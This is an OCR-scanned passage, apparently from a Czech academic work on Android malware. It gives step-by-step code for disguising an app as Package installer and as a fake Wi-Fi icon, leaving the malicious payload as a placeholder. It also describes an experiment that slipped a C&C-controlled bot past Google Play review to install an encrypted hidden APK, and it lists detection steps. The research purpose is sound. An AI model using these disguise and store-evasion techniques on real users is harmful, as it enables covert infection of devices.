android:paddingTop="@dimen/activity_vertical_margin"
tools:context="org.hakin9.packageinstaller.MainActivity">

</RelativeLayout>

Z obréazku 5.35 je patrné, ze text "Hello world" jiz neni viditelny.
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Obr. 5.35: Text "Hello world" jiz neni viditelny [zdroj viastni]

Na obrazku 5.36 je Cervené oznalena ikona malwaru, kterd se nachazi v
seznamu nainstalovanych aplikaci. Jednd se o vychozi ikonu, které Android
Studio aplikaci ptidéli.
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Obr. 5.36: Vychozi ikona aplikace vyvijené v Android Studiu [zdroj viastni]
Ma-11 malware obelstit uZivatele, je nutné zménit vzhled ikony. Pozadovany

vzhled ikony je vidét na obrazku 5.37 vlevo. Jedna se o ikonu skutecného
instalatoru balicki (tj. "Package installer").
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Obr. 5.37: Vzhled ikony, kterého je potireba dosahnout [zdroj viastni]

Z obrazkl 5.36 a 5.37 je patrné, Ze popiska ikony vyvijeného malwaru ma
spravnou hodnotu, zatimco obrazek ikony nikoliv. Ikonu malwaru je potieba
zménit tak, aby vypadala jako na obrazku 5.37. Tento proces je velmi podobny
postupu, ktery byl popsan v predchozim oddilu (viz nahrazeni ikon aplikace
prihlednymi PNG obrazky), jen s tim rozdilem, ze soubor ic_launcher.png bude
nahrazen ikonou, kterd vypada jako "Package installer". Tviirce mobilniho
malwaru nemusi vytvaret vlastni faleSné¢ ikony, protoZe je moZné zkopirovat
origindlni ikony z SDK adresafe”. Uvedeny postup musi byt aplikovan na
vSechny adresafe odpovidajici standardnim rozliSenim zatizeni:

...Ires/mipmap-hdpi (velikost ikony je 72x72 pixelt)
...Ires/mipmap-mdpi (velikost ikony je 48x48 pixeld)
...Ires/mipmap-xhdpi (velikost ikony je 96x96 pixeld)
...Ires/mipmap-xxhdpi (velikost ikony je 144x144 pixell)
...Ires/mipmap-xxxhdpi (velikost ikony je 192x192 pixeld)

Aby bylo mozné nahradit piivodni ikony, musi mit vS§echny nové ikony stejny
nazev, tj. ic_launcher.png. Na obrazku 5.38 je vidét, Ze ikona malwaru vypada
stejn€ jako ikona instalatoru balicki, ktera je zachycena na obrazku 5.37.

2 SDK adresar se nachazi v pocitaci, do kterého byla nainstalovana vyvojarska sada
Android SDK.
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Obr. 5.38: lkona malwaru vypada stejné jako "Package installer"” [zdroj viastni]

Vzhledem k tomu, Ze BroadcastReceiver nema Zadné grafické rozhrani, s nimz
by byl uZivatel schopen komunikovat, je nutné¢ vytvotit dalsi aktivitu. Nova
aktivita se nazyva WifiSettings a bude uZivatelem spusténa pomoci podvodného
activity-aliasu:

Ukazka kodu aktivity WifiSettings:

package org.hakin9.packageinstaller;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;

public class WifiSettings extends AppCompatActivity
{
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
/I Notice that both MainActivity and WifiSettings use the same XML layout file!
setContentView(R.layout.activity_main);
}
}

Z vySe uvedené ukazky je patrné, Ze aktivity MainActivity a WifiSettings
pouzivaji stejny XML layout, viz tuné oznacen¢ misto v kodu. Dalsim krokem
je ptidani falesné Wi-Fi ikony (optimalni velikost je 192x192 pixellt) do adresate
.../res/drawable. V ukazce se faleSna Wi-Fi ikona jmenuje wifi icon.png. Po
pfidani obrazku faleSné ikony je jeSté nutné provést upravu souboru
.../res/values/strings.xml. Do uvedeného souboru jsou ptidany dva fadky:
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<string name="wifi_settings_activity_name">Wi-Fi</string>
<string name="wifi_settings_alias">Wi-Fi</string>

Soubor AndroidManifest.xml je modifikovan pfidanim elementu aktivity se
jménem .WifiSettings*®. Je dilezité element spravné umistit v XML kodu, proto
je uveden cely upraveny soubor AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmIns:android="http://schemas.android.com/apk/res/android"
package="org.hakin9.packageinstaller">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name=".WifiSettings"
android:label="@string/wifi_settings_activity_name"
android:theme="@style/AppTheme" >
</activity>
</application>
</manifest>

Bude-1i malware v této fazi vyvoje nainstalovan do mobilniho zatizeni, bude
vidét, Ze seznam ikon je beze zmény (ikona Wi-Fi stale chybi). Seznam ikon bude
stejny jako na obrazku 5.38. Proto je nutné provést dalsi modifikaci souboru
AndroidManifest.xml. Smyslem Upravy je nahradit ikonu "Package installer"
ikonou Wi-Fi. Nejprve je pfidan activity-alias element, nasledné¢ je tadek
<category android:name="android.intent.category. LAUNCHER"/> ptemistén
z elementu activity .MainActivity do elementu activity-alias. V ukdzce jsou
naznaceny vSechny pottebné Gpravy:

<?xml version="1.0" encoding="utf-8"?>

30 Jedna se o zkrdceny nazev zacinajici teckou.
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<manifest xmIns:android="http://schemas.android.com/apk/res/android"

package="org.hakin9.packageinstaller">

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">

<intent-filter>
<action android:name="android.intent.action.MAIN" />

</intent-filter>
</activity>
<activity
android:name=".WifiSettings"
android:label="@string/wifi_settings_activity_name"
android:theme="@style/AppTheme" >
<[activity>
<activity-alias
android:targetActivity=".WifiSettings"
android:name=".Anything"
android:label="@string/wifi_settings_alias"
android:icon="@drawable/wifi_icon">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<lintent-filter>
</activity-alias>
</application>
</manifest>

V tuto chvili je mozné znovu spustit vyvijeny malware. Na obrazku 5.39 je
vidét, Ze pivodni ikona "Package installer" zmizela a namisto ni je umisténa ikona
Wi-Fi. Uvedeny postup se zda nelogicky, protoze byla vytvatena ikona "Package
installer", kterd byla ndsledné nahrazena ikonou Wi-Fi. Oba uvedené kroky byly
nutné, a ackoliv jiz neni ikona "Package installer" v seznamu ikon, slouzi
k obelsténi uzivatele béhem instalacniho procesu. UZivateli se bude zdat, Ze je
instalace provddéna pomoci legitimniho programu "Package installer" (viz
obrazek 5.46), coZ neni pravda. Ve skute¢nosti se jednd o ikonu a jeji popisek,
ktera byla vytvofena podle vySe uveden¢ho postupu, ktery navic pomaha
maskovat malware v mobilnim zatizeni. Pokud by byl pouzit n€jaky atraktivni
nazev (v parametru app name) jako naptiklad jméno popularni hry, kterd je
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placend, bylo by narocné¢ malware maskovat na seznamu nainstalovanych
aplikaci. Naldkani uzivatele na atraktivni aplikace je provedeno jinak, a to
prostym pojmenovanim APK souboru, napi. Need for Speed full.apk’!.
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Obr. 5.39: lkona Wi-Fi nahradila piivodni ikonu "Package installer” [zdroj viastni]

Pokud je kliknuto na ikonu Wi-Fi, je na obrazovce mobilniho zafizeni
zobrazena aktivita WifiSettings. GUI vypada témét identicky jako GUI
MainActivity na obrazku 5.35, pouze text v hornim panelu je odlisny. Aktivita
WifiSettings je viditelna. To by vedlo ke kompromitaci vyvijeného malware, je
proto nutné modifikovat soubor .../res/values/styles.xml:

<resources>
<l-- Base application theme. -->
<style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
<l-- Customize your theme here. -->
<item name="android:windowlsTranslucent">true</item>
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<item name="android:windowNoTitle">true</item>
<item name="android:windowlsFloating">true</item>
<item name="android:backgroundDimEnabled">false</item>
</style>
<[resources>

3t Takto pojmenovany APK balicek muze byt napriklad distribuovan pomoci file share
serverii a torrentil.
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Obr. 5.40: Graficke uzivatelské rozhrani aktivity WifiSettings [zdroj viastni]

Po kliknuti na ikonu Wi-Fi se objevi prithledna aktivita obsahujici stejny text
jako v popisku ikony Wi-Fi (viz obrazek 5.41).
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Obr. 5.41: Hodnota wifi_settings_alias je stale viditelna [zdroj viastni]

Z obrazku 5.41 je zfejmé, Ze text horni liSty aktivity WifiSettings je stale
viditelny. Text odpovida hodnoté wifi settings alias, ktera je uloZena v souboru
.../res/values/strings.xml. Aktivita nem4 Zadné uZivatelské elementy, coz vede
k vysledku, ktery tviirci operacniho systému Android nezamysleli: text horni liSty
je uprostied. Jeho potladeni lze proveést ptidanim fadku do souboru styles.xml:

<item name="windowNoTitle">true</item>

Poznamka: hodnota wifi_settings alias byla zménéna z "Wi-Fi" na "Wi-Fi
Alias" pouze pro demonstracni ucely, které jsou zachyceny na obrazku 5.41 (aby
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byl vidét rozdil mezi wifi settings activity name a wifi settings alias).
V postupu, ktery je uveden vySe, maji wifi settings activity name i
wifi_settings_alias stejnou hodnotu, a to "Wi-Fi". Shodna hodnota v obou
elementech je nutna pro spravné fungovani malware.

Maskovaci proces je nyni dokonen, nicméné uZivatelé ocekavaji, Ze po
kliknuti na ikonu Wi-Fi se spusti komponenta systému umoznujici nastaveni Wi-
Fi. Aby se aktivita chovala takovym zplisobem, ktery uzivatelé prepokladaji, je
potieba pridat metodu onResume do aktivity WifiSettings:

@Override

public void onResume)

{
super.onResume();
startActivity(new Intent(Settings.ACTION_WIFI_SETTINGS));
finish();

}

Uvedeny kod zajisti, Ze po kliknuti na ikonu Wi-Fi, bude spusSténa systémova
komponenta, kterd se stard o pfipojeni Wi-Fi. Komponenta je zachycena na
obrazku 5.42.

WEEE @

< WiFi

- .
-
po)

=

0 a

Obr. 5.42: Komponenta nastaveni Wi-Fi [zdroj viastni]

Normalni, tj. nenapadné chovani, zajiSt'uje volani "finish" v metodé onResume.
Pokud by nebylo pouzito volani "finish", hrozilo by nebezpeci vzniku nekonecné
smycky. Kuvedenému jevu by dochédzelo vzdy, kdyZz by byla zobrazena
komponenta nastaveni Wi-Fi kliknutim na faleSnou ikonu Wi-Fi a nésledné by
uzivatel klikl na tlacitko Zpé&t. Pti€ina tohoto chovani je jasna. Jakmile uZzivatel
klikne na tlacitko Zpét, je obrazovka predana malwaru, ktery jde na popiedi, tedy
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je znovu zavoldna metoda onReceive. Volani zplisobi, Ze je opét zobrazena
komponenta nastaveni Wi-Fi. Proces vzniku nekonecné smycky je vidét na
obrazku 5.43.

WEEd e

< WiFi

Obr. 5.43: Nekonecna smycka [zdroj viastni]

Vytvofenim metody onResume v aktivit¢ WifiSettings zplisobem popsanym
vySe je zajiSténa korektni interakce mezi malwarem a komponentou nastaveni Wi-
Fi. DalSim krokem je pfidani Skodlivého kodu. Pravdépodobné jednim z
nejlepSich zpiisobll je vytvoteni tiidy MalwareInBackground, ktera je potomkem
titidy AsyncTask. Uvedeny postup zajisti, Ze vSechny ¢innosti malwaru budou
provadény nepozorované na pozadi. Ttida MalwarelnBackground bude vyhradné
vlastnéna aktivitou WifiSettings.

private class MalwareInBackground extends AsyncTask<String, Void, String>
{

@Override

protected String doInBackground(String... params)

{
try
{

Il do something malicious
Il put your background malware code here

}

catch (Exception e)

{
Log.d("MMMM", "Error dolnBackground: " + e.toString());
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}

return null;

}

@Override
protected void onPostExecute(String result)

{
try
{

Toast.makeText(getApplicationContext(), “"Malware code has been
executed.”,

}

catch (Exception e)

{
Log.d("MMMM", "Error onPostExecute: " + e.toString());
)
)
)

Toast. LENGTH_LONG).show();

Aby vyvijeny malware fungoval hladce, je vhodné umistit vSechny Skodlivé
¢innosti do metody doInBackground (viz tu¢né oznacené misto kodu). Pokud
potiebuje malware z néjakého ditvodu ovlivnit prvky uZivatelského rozhrani, smi
to provést pouze z metody onPostExecute. V ukazce je metoda onPostExecute
pouZzita pouze pro neSkodné zobrazeni textu "Malware code has been executed"
(pokud by nebyla zavoldna metoda onPostExecute zobrazujici zpravu, nebylo by
moZn¢ ¢innost malwaru zachytit na obrazku 5.44).
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Secured with WPA WPS availat -
- =
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- a2
Secured with WPA2 :
O =
Secured with WPA?Z -
—_— =
Secured with 802.1x 4

el Malware code has been executed.

D D

1 with I

po) 0 (m]

Obr. 5.44: Nekonecna smycka [zdroj viastni]
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V tomto okamziku je mozné popsat celkové fungovani vytvofené¢ malwaru,
ktery rovné€z zahrnuje postupy znamé ze socialniho inZenyrstvi:

e Byla vytvofena ikona Wi-Fi, kterd je schopna spoustét komponentu
nastaveni Wi-Fi pfimo, na rozdil od standardni ikony nastaveni (Settings).
Uvedené chovani je pro uzivatele pohodlng;jsi, usetii dodate¢né kliknuti.

e Jkona Wi-Fi byla vloZena do seznamu ikon. Je jen otdzkou ¢asu, nez si ji
uzivatel v§imne a pokusi se na ni kliknout. Ikonu Wi-Fi Ize rovnéz umistit
na domovskou obrazovku mobilniho zatizeni.

Protoze je Skodlivé spousténi rychlejsi nez standardni zpusob, mliZe se stat, ze
uzivatel klikne na ikonu Wi-Fi patfici malwaru pokazdé, kdyz bude chtit nastavit
Wi-Fi pfipojeni. Jakmile uZivatel klikne na ikonu Wi-Fi, je na popiedi spusténa
systtmova komponenta nastaveni Wi-Fi a soucCasné se na pozadi spusti tfida
MalwarelnBackground. Provadéni Skodlivého kédu metody dolnBackground
ttidy MalwarelnBackground je implementovano jako samostatné vlakno béZici na
pozadi. To vede k tomu, Ze kod mlize pokraCovat v ¢innosti, 1 kdyZ uZivatel tukne
na tlacitko Zpét nebo Domov. Princip €innosti malwaru je zobrazen na obrazku
5.45.
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Apps ~
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A
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weather Weather ‘ -~ —
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Photo Editor Photos Wi-Fi
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Obr. 5.45: Princip cinnosti malwaru [zdroj viastni]

Verze malwaru Hidden APK suZivatelskou interakci je velmi obtizné
detekovatelna, protoZze wuzivatelé si malware spouStéji sami. Nicméné
bezpecnostni experti obezndmeni s principem ¢innosti tohoto malwaru, jej mohou
snadno rozpoznat.

Ptiklad detekéniho postupu:
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e Dekompilace podezielého APK balicku pomoci nastroje APKTool.

e Kontrola, zda soubor AndroidManifest.xml obsahuje element activity-
alias.

e Pokud je activity-alias v manifestu pfitomen, je nutné zjistit, zda obsahuje:
<category android: name = "android.intent.category. LAUNCHER" /> .

e Je-li uvedeny koéd nalezen, znamena to, Ze testovana aplikace mizZe byt
Hidden APK s uzivatelskou interakei.

e Vtakovém piipadé je potieba zkontrolovat parametr android:
targetActivity = ".WifiSettings", ktery nese informaci, kde se nachazi kod
podezielé aktivity.

e Ko&d musi byt zkontrolovan, zda neobsahuje néjakou Skodlivou ¢innost.

A il @ 17:59

ii) Package installer

Installing

o a] [m)

Obr. 5.46: Prubeh instalace malwaru [zdroj viastni]

V tomto oddilu byl popsan jesté jeden vyrazny rys identifikujici malware:
aktivity MainActivity a WifiSettings pouZivaly stejny XML layout. Odhaleny
postup neni standardni a budi proto podezieni. Z uvedené¢ho ditvodu by bylo
vhodné zatadit do bezpe€nostnich testil rutinu, ktera bude zjistovat, zda dvé a vice
aktivity nesdileji stejné uzivatelské rozhrani.

5.2.5 Mobilni botnety — experimenty

Pro lepsi pochopeni bezpe€nostnich rizik spojenych s mobilnimi botnety, je
treba vysvétlit nékteré klicoveé pojmy pouzivané v této oblasti.

Bo6t*? je specidlni typ Skodlivého softwaru, jehoZ instalaci se mobilni zafizeni
stava klientem botnetovské sité. Bot obvykle piijima ptikazy z C&C (Command
and Control) serveru. Uvedeny typ malwaru se na zakladé ziskanych ptikaz
pokousi provadét skodliveé akce, naptiklad:

e poskozeni firmwaru,

32 Nekdy je slovem bot oznacovano celé zarizeni, ve kterém bézi malware umozZiujici
vzdalené ovladani pomoci C&C serveru.
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e posilani spamu,

e kradeze citlivych informaci,

e zachytavani a odesilani SMS (napft. autorizacni SMS zpravy internetového
bankovnictvi),

e pofizovani zvukovych zaznami bez védomi uZivatele,

e podvodné klikani,

e stahovani dalSiho Skodlivého softwaru [50].

Existuji tf1 typické druhy both. Prvnim typem je standardni mobilni aplikace,
ktera se sklada z legitimni 1 z nelegitimni ¢asti. Predstavitelem tohoto typu bota
je naptiklad FakePlayer [148]. Legitimni c¢ast vykonava né&jakou uZziteCnou
¢innost, naptiklad ptehrani hudby nebo videa. Nelegitimni ¢ast na zaklad¢ ptikaza
z C&C serveru provadi Skodlivou ¢innost. Druhym typem jsou boti skladajici se
ze skryté aktivity a broadcast receiveru. Jedna se tedy o malware typu Hidden
APK. Skodlivd aplikace nemé viditelné uZivatelské rozhrani, je schopna
nepozorované provadét svoji nelegitimni Cinnost. Tretim typem je legitimni
aplikace®®, ktera byla infikovana.

C&C server slouzi k distribuci ptikazl k jednotlivym botim. Uvedeny typ
serveru nékdy slouzi 1 pro shromazd’ovani odcizenych uZivatelskych dat, ktera
jsou odesilana z jednotlivych boti.

Botmaster je tviirce botnetu nebo zloCinec, ktery si na ¢erném trhu pronajal
(nebo koupil) botnet od jeho majitele. Botmaster tfidi boty bud’ prostfednictvim
C&C serverll nebo pomoci peer-to-peer (P2P) siti.

Mobilni botnety predstavuji sofistikovany typ malwaru se sloZitymi vzorci
chovani. To znamena, Ze se od sebe jednotlivé mobilni botnety mohou velmi liSit.
Navzdory uvedené skuteCnosti existuje jeden aspekt, ktery je spole¢ny pro
vSechny mobilni botnety. Timto rysem je Zivotni cyklus skladajici se ze tfi fazi:
infekce, Sifeni a provadéni (Infection, Propagation, Execution) [51].

V infekéni fazi tviirce botnetu naprogramuje mobilniho bota. Jakmile je vyvoj
a testovani dokonceno, je nutné proveést vlozeni bota do mobilniho softwaru, viz
typy boti vySe. V okamziku, kdy je dokoncena integrace bdta s hostitelskou
aplikaci, je mozné vykonat dalsi fazi, kterou je Sifeni. Behem této faze je Skodliva
aplikace Sifena distribu¢nimi kanaly, jako jsou:

e softwarove trzisté Google Play,

e oficialni softwarova trzisté tietich stran, jako naptiklad Amazon Store,

e neoficialni softwarova trziste,

e webové stranky s JavaScriptem umoznujicim rozpoznat webovy prohlizec¢
provozovany pod operacnim systémem Android. Je-li takovy prohlize¢
detekovan, je mu nabidnuto staZeni atraktivniho APK balicku obsahujiciho
bota,

e phishing, ob&t’ obdrzi e-mail, ve kterém je:

o hypertextovy odkaz na stazeni nebezpecného APK balicku,

33 Obéti je vetsinou atraktivni placend aplikace, z niz byla odstranéna licencni ochrana.
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o ptiloha s infikovanou APK aplikaci,

e c¢-mail od kolegy nebo znameého, jehoZ schranka byla kompromitovana
(naptiklad v disledku slabého a nekomplexniho hesla). V takovém piipadé
mulZe zprava obsahovat smysSleny text od ¢lovéka, kterého piijemce zna.
Text nabada ptijemce e-mailu ke stazeni nebezpecného programu.

Jakmile je bot isp€sné nainstalovan do chytrého telefonu nebo tabletu, miize
zacit dalsi faze. Z pohledu botmastera se jedna o nejdilezité;jsi fazi, protoze nyni
je botnet plné funkeni a je schopen vykonavat svou Skodlivou ¢innost. Provadéci
faze obvykle zacina tim, Ze se bot snaZzi spojit s C&C serverem. MiiZe se jednat
bud’ 0 POST nebo GET pozadavek, napiiklad
http://adresa.cacserveru.com?id=null. Novému boétu, ktery jeSté nemd ptifazen
identifikator (id=null), C&C server ptitadi piihlasovaci jméno a heslo. Bot si do
persistentni paméti uloZi zaslané ptihlaSovaci udaje a od té chvile komunikuje
s C&C serverem prostiednictvim pridéleného id a hesla. B6t bézi na pozadi a ¢eka
na ptikazy od botmastera, miize se napiiklad jednat o itoky DDoS, odesilani SMS
zprav na cCisla se zvySenou sazbou bez védomi uZivatele, odesilani polohy
mobilniho zafizeni, odposlouchéavani stisknutych klaves, odesilani hesel atd. [40].
Kromé vySe uvedenych fazi (infekce, Sifeni a provadéni) jsou nékteré kvalitni
mobilni botnety vybaveny 1 tklidovou fazi (Cleaning phase). B€hem této faze je
odstranén bot spolu se vS§emi pomocnymi soubory.

Experimenty, které byly provedeny béhem tohoto vyzkumu, naznacuji, Ze
softwarova distribucni platforma Google Play obsahuje i1 aplikace, které jsou
z bezpecnostniho hlediska problematické. Tyto programy jsou bud’ vybaveny
funkcionalitou, kterd jim dovoluje provadét Skodliveé Cinnosti, nebo obsahuji
zranitelnosti umoZznujici jejich zneuziti jinymi aplikacemi. ZjiSténi je v souladu s
ostatnimi pracemi publikovanymi na toto téma [149]: “We conducted an analysis
of 1,632 popular applications on Google Play, each with more than one million
installations, revealing that 151 (9.25%) of them are vulnerable to code injection
attacks.” DalSi zajimavé poznatky byly shrnuty v ¢lanku “Google just found
malware apps hiding in the Play store that were downloaded over 500,000 times
[150]. Na zaklad¢ ptipravné faze vyzkumu a publikovanych praci byla vytvotena
hypotéza tykajici se procesu schvalovani aplikaci na Google Play: softwarova
distribuéni platforma se zaméfuje pievazné na dynamickou analyzu
schvalovanych aplikaci a kontrolu souboru AndroidManifest.xml, zatimco
staticka analyza kodt je opomijena.

Jak jiz bylo uvedeno vySe, dynamicka analyza se zabyva chovanim zkoumané
aplikace. Program je spoustén v kontrolovaném prostiedi, kde je simulovana
uzivatelska interakce, zaroven jsou zaznamenavany vSechny Skodlivé ¢innosti.
Naptiklad odesilani a pfijimani dat na znamé C&C servery, opakované zasilani
pozadavki v kratkém casovém obdobi, jez sméfuji na stejny server (mozny
DDoS) atd. Cilem analyzy souboru AndroidManifest.xml je nalezeni takovych
opravnéni, které jsou vzhledem k ¢innosti testované aplikace nadbyte¢né. Pokud
napiiklad aplikace slouzici pro fotografovani pozaduje opravnéni
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android.permission. CAMERA, android.hardware.camera a
android.hardware.camera.autofocus je to legitimni, nebot bez uvedenych
opravnéni neni fotograficky program schopen vykondvat svoji funkcionalitu.
Nicméné mobilni aplikace miZe pozadat o jakékoli opravnéni. Program urceny
pro  fotografovani  muze  naptiklad pozddat 1 o  opravnéni
android.permission.READ SMS. BezpecCnostni analyzatory se snazi najit
nesoulad mezi funkénimi opravnénimi, které aplikace pottebuje ke své ¢innost a
opravnénimi, o které program skutecné pozadal prostfednictvim souboru
AndroidManifest.xml. Uvedena problematika je podrobné¢ popsana v oddilu 6.1.1
Algebra opravnéni.

Vsechny vySe wuvedené skuteCnosti ovlivnily navrh prvnich dvou
experimentalnich aplikaci:

e prvni se nazyva "testovaci aplikace". Jedna se o aplikaci slouZzici pro

piedpovéd pocasi, do které byl vloZen bot, ktery je ovladan prostfednictvim
C&C serveru. Meteorologicka ¢ast aplikace 1 bot byly vytvoreny autorem
prace,

e druhi se nazyva "malwarova aplikace". Jejim cilem je podvodna instalace,
ktera probéhne bez jakékoli bezpecnostni kontroly, véetné Google Play.
Program byl vytvofen autorem.

Legitimni ¢ast "testovaci aplikace" predstavuje predpovéd pocasi pro mésto
Spennymoor, které se nachazi ve Velké Britanii. Software zobrazuje informace o
aktualni teploté, tlaku, vlhkosti a dalS$i meteorologické informace. "Testovaci
aplikace" je zachycena na obrazku 5.47.

Spennymoor weather

56.82 °F

Light rain

Pressure: Humidity: Wind speed:

1021 hPa 82 % 9.94 mph

Obr. 5.47: "Testovaci aplikace" Spennymoor weather [zdroj viastni]
"Testovaci aplikace" nevyZaduje Zadné nelegitimni opravnéni, tzn. takova

opravnéni, kterd by byla pouzivana pouze botem. VSechny Skodlivé ¢innosti jsou
navazany na funkéni opravnéni, ktera patii legitimni Casti aplikace. Nelegitimni

253



cast (bot) je fizena pomoci datové sady ve formatu JSON (JavaScript Object
Notation). Datova sada obsahuje i legitimni informace o piedpovédi pocasi. To
znamena, Ze server pro predpovéd pocasi funguje soucasné jako C&C server.
"Testovaci aplikace" nevykonava zadné Skodlivé akce, které boti bézné€ provadéji.
Je to z toho diivodu, Ze ma-li "testovaci aplikace" UspéSné projit bezpecnostni
kontrolou Google Play, musi byt co nejméné napadnd. V ivahu je tieba vzit 1 dalsi
skute¢nost: "An app downloaded from Google Play may not modify, replace or
update its own APK binary code using any method other than Google Play’s
update mechanism" [151]. Proto experimentalni software nepouzival techniky
zaloZené na nahrazeni APK bali¢ku a nasledném vzdaleném spusténi kodu. Misto
toho se '"testovaci aplikace" na zdkladé prikazii z C&C serveru pokusila
nainstalovat "malwarovou aplikaci". Instalace probéhne lokaln&, coz znamena, Ze
nebude kontrolovana bezpecnostnimi mechanismy Google Play. Hlavni cast
Skodlivé cinnosti bude provadét "malwarova aplikace". Zatimco "testovaci
aplikace" je ve své podstaté kombinaci bota a trojského koné.

Nyni, kdyZ jsou objasnény role "testovaci aplikace" a "malwarové aplikace", je
mozZn¢ popsat celkové fungovani experimentalniho botnetu: jakmile je staZzena
piedpoved’ pocasi, bot je automaticky spusStén. Nejprve se bot pokusi zjistit, zda
je JiZz nainstalovana "malwarova aplikace". Pokud ano, neni potteba dalsi
instalace, proto se ukon¢i. Neni-li "malwarova aplikace" nainstalovana, je bot
piipraven k provedeni dalSiho kroku, ktery vypada jako ochrana proti modifikaci
systemu slouziciho k ziskavani a zpracovani ptedpovédi pocasi. Systém se sklada
ze dvou komponent: weatherenginel020 a weatherenginesupportlibrary (viz
obrazek 5.48). "Testovaci aplikace" ptedstira, Ze je systém cenny, a proto je pied
jeho pouzitim aplikovana ochrana, ktera zjiStuje, zda nebylo s komponentami
neopravnéné manipulovano. Ve skutecnosti se ale jedna o mechanismus, kterym
bot vyhodnocuje piikazy zaslané z C&C serveru.

Uvedeny mechanismus byl pouzit z divodu, Ze klasick¢ vyhodnocovaci
metody botl jsou znadmé a tedy algoritmicky detekovatelné. Proto byl zneuzit
legitimni mechanismus, ktery za normalnich okolnosti slouzi jako ochrana proti
manipulaci s vnitinimi komponentami aplikace.
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Obr. 5.48: weatherenginel 020 a weatherenginesupportlibrary [zdroj viastni]

Komponenta weatherenginesupportlibrary je ve skute¢nosti Sifrované pole
bajti, které slouzi pro srovnani s hodnotou enginesha ze stazeného JSONu (viz
ukazka JSON dat nize).

Bo6t precte hodnotu proménné enginesha a porovnava ji s SHA256 hodnotou
weatherenginesupportlibrary, kterou vypocita. Pokud se hodnoty enginesha a
weatherenginesupportlibrary nerovnaji, bot ukonci svoji ¢innost a pokracuje
pouze legitimni ¢ast aplikace. Pokud jsou hodnoty enginesha a
weatherenginesupportlibrary shodné, znamena to, Ze byl botmasterem
prostiednictvim C&C serveru vydan ptikaz pro instalaci "malwarové aplikace".
Bo6t zkontroluje, zda je povolena instalace z nezndmych zdrojl, a zda ma ptistup
k perzistentni paméti hostitelského zatizeni. Pokud jsou ob& podminky splnény,
bot spusti instalaci "malwarové aplikace", ktera vypada jako legitimni aktualizace
systéemu slouziciho k ziskavani a zpracovani predpovédi pocCasi (weather engine,
viz obrazek 5.49). Ve skuteCnosti je misto aktualizace provedena instalace
"malwarové aplikace", kterd probéhne bez kontroly Google Play. Komponenta
weatherenginel1020, ktera se nachazi v adresati .../res/raw je zaSifrované pole
bajti (viz obrazek 5.48). Bot deSifruje weatherenginel020 pomoci hesla
ziskaného z proménné enginedata®®, ktera se nachazi ve stazeném JSONu.
Desifrované pole bajti je do persistentni paméti uloZzeno jako soubor bez ptipony
*.apk, protoZze manipulace s *.apk ve zdrojovéem kodu by mohla ptildkat
pozornost bezpecnostnich skeneri. Uvedeny postup vyuziva zjiSténé
bezpecnostni slabiny: opera¢ni systém neodmitne vykonat instalaci a provede ji
korektné€ bez ohledu na to, Ze chybi ptipona * .apk. Po dokonceni instalace nebo

3% Neni-li vydan prikaz k instalaci, je do proménné enginedata ulozen nahodné vygenerovany
retezec, ktery ma stejnou deélku a tvar jako validni heslo.
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pfi jejim zruSeni bot odstrani deSifrovany instalacni soubor z mobilniho zatizeni.
Nyni je "malwarova aplikace" uspéSné€ nainstalovana na mobilnim zatizeni.

Ukazka ptikazu pro instalaci "malwarové aplikace" a pfedpoveédi pocasi ve
formatu JSON:

{"icon":"01d","enginedata":"bd5a95e€68c802f81c7a7d054€83a53981b2e2che","press
ure":1023,"temp":52.54,"humidity":93,"wind":8.86,"enginesha":"cceb436f2dc028e72906
3c39ada235a350ce458bcee383da2525e3812bd9ebal","description”:"Sky is Clear"}

@ .4 83%1 18:41

New weather engine is available,
click OK button.

OK

Obr. 5.49: weatherenginel 020 a weatherenginesupportlibrary [zdroj viastni]
Na obrazku 5.50 je vidét, Ze aplikace Spennymoor weather (tj. "testovaci

aplikace") byla rezistentni vii¢i bezpecnostnimu mechanismu Google Play, nebot’
byla schvalena a zatfazena do nabidky programi slouzicich k ptedpovédi pocasi.
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& Spennymoor weather Q

Spennymoor weather
Spennymoor Software

E PecI3
INSTALL

- Q

Weather Similar

A new revolutionary weather application
with real time forecast ~ best and free!

READ MORE

56.46 °F

Light intensity drizzle

Obr. 5.50: Google Play oficialne nabizel aplikaci Spennymoor weather obsahujici

bota [zdroj viastni]

V ramci tohoto vyzkumu by vytvoiena "testovaci aplikace", ktera vykazovala
celou fadu Skodlivych nebo podezielych vlastnosti:

uvnitf "testovaci aplikace" je zaSifrovany instalacni soubor "malwarové
aplikace",

mechanismus zjiStovani, zda je povolena instalace z neznamych zdrojt,
instalace byla provedena za ptedpokladu, Ze¢ je mozné instalovat z
neznamych zdrojii (pro uvedené chovani neni legitimni divod, je tedy
velmi podeziel¢),

instalace z lokalniho souboru, ktery nema ptiponu * .apk,

podvodnd instalace aplikace, kterd se snazi vypadat jako aktualizace
systéemu slouziciho k ziskavani a zpracovani predpovédi pocasi, ale ktera
ve skute€nosti nema nic spole¢ného s predpovédi pocasi.

Vsechny vySe uvedené nebezpecné rysy '"testovaci aplikace" Spennymoor
weather nebylo moZzné zjistit dynamickou analyzou nebo analyzou souboru
AndroidManifest.xml, protoze:

botmaster nevydal piikaz k instalaci béhem schvalovaciho procesu na
Google Play, rovnéz nebylo prostfednictvim C&C serveru zaslano validni
heslo umoziujici deSifrovani "malwarove aplikace",

"testovaci aplikace" nevykazovala v souboru AndroidManifest.xml rozpor
mezi funkénimi a skuteCné poZadovanymi opravnénimi (tj. vSechny
Skodlive Cinnosti byly vykonavany pomoci funkénich oprdvnéni, které
slouzily 1 legitimizujici ¢asti aplikace),
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e '"testovaci aplikace" se k C&C serveru nepiipojovala sama od sebe (typicky
bot tak €ini okamzité po startu). Misto toho ¢ekala na legitimni stahovani
